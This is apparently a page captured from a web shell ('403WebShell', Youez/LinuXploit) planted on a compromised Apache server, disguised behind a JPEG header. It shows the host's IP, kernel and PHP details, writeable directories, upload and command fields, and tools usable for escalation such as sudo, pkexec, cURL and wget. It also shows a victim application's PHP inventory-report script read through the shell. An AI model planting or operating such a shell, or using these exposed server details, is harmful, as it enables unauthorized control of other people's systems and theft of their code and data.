����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.141.196.215
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/sales4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/sales4/struck.php
<?php
session_start();
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
require('fpdf/fpdf.php');
include "../../library/config.php";
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

if(!isset($_POST['id_sales'])) 
{
	die("Lo sentimos, el navegador no se puede actualizar para la seguridad de los datos. Vuelva a imprimir a través del formulario de reimpresión!!");
}
$id_sales=$_POST['id_sales'];
 
 $txt="";
	
		

class PDF extends FPDF
{
	function Header()
	{
		$firstRowCell='border: 2px solid red; background-color: #b70000; padding: 1px 9px;';
		$this->Ln(40);
		$this->Image('logo3.jpg',4,5,50);
		
		
	 
	}
	function ChapterBody($txt)
	{
		
		$pos = new pos();
		$list = $pos->list_inventary();
		$retval['status'] = $list[0];
		$retval['message'] = $list[1];
		$retval['data'] = $list[2];
		$inv = $retval['data'];
		//print_r($inv['data'][0]['unit']);
		
		$this->SetFont('Times','',12);
				$this->MultiCell(0,8,$txt);
				$this->SetY(20);
				$this->SetFont('Arial','B',25);
				$this->Cell(200,0,'Reporte De Inventario',0,0,'C');
				$this->Ln(25);
				$this->SetFont('Arial','B',12);
			  
				$this->Cell(45,7,'Codigo',1,0,'C');
				$this->Cell(90,7,'Nombre',1,0,'C');
				$this->Cell(45,7,'Existencia',1,0,'C');
				$this->Ln();
				
				$this->SetFont('Arial','B',9);
			foreach($inv as $row)
			{
				 
				   $this->Cell(45,7,$row['barcode'],1,0,'C');
				   $this->Cell(90,7,$row['item_name'],1,0,'C');
				   $this->Cell(45,7,$row['stock'],1,0,'C');
				   $this->Ln();  
			}
				
	}
	
	function PrintChapter($txt)
	{
		$this->AddPage();
		$this->ChapterBody($txt);
	}
}
 
$pdf=new PDF();
$pdf->PrintChapter($txt);
$pdf->Output();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit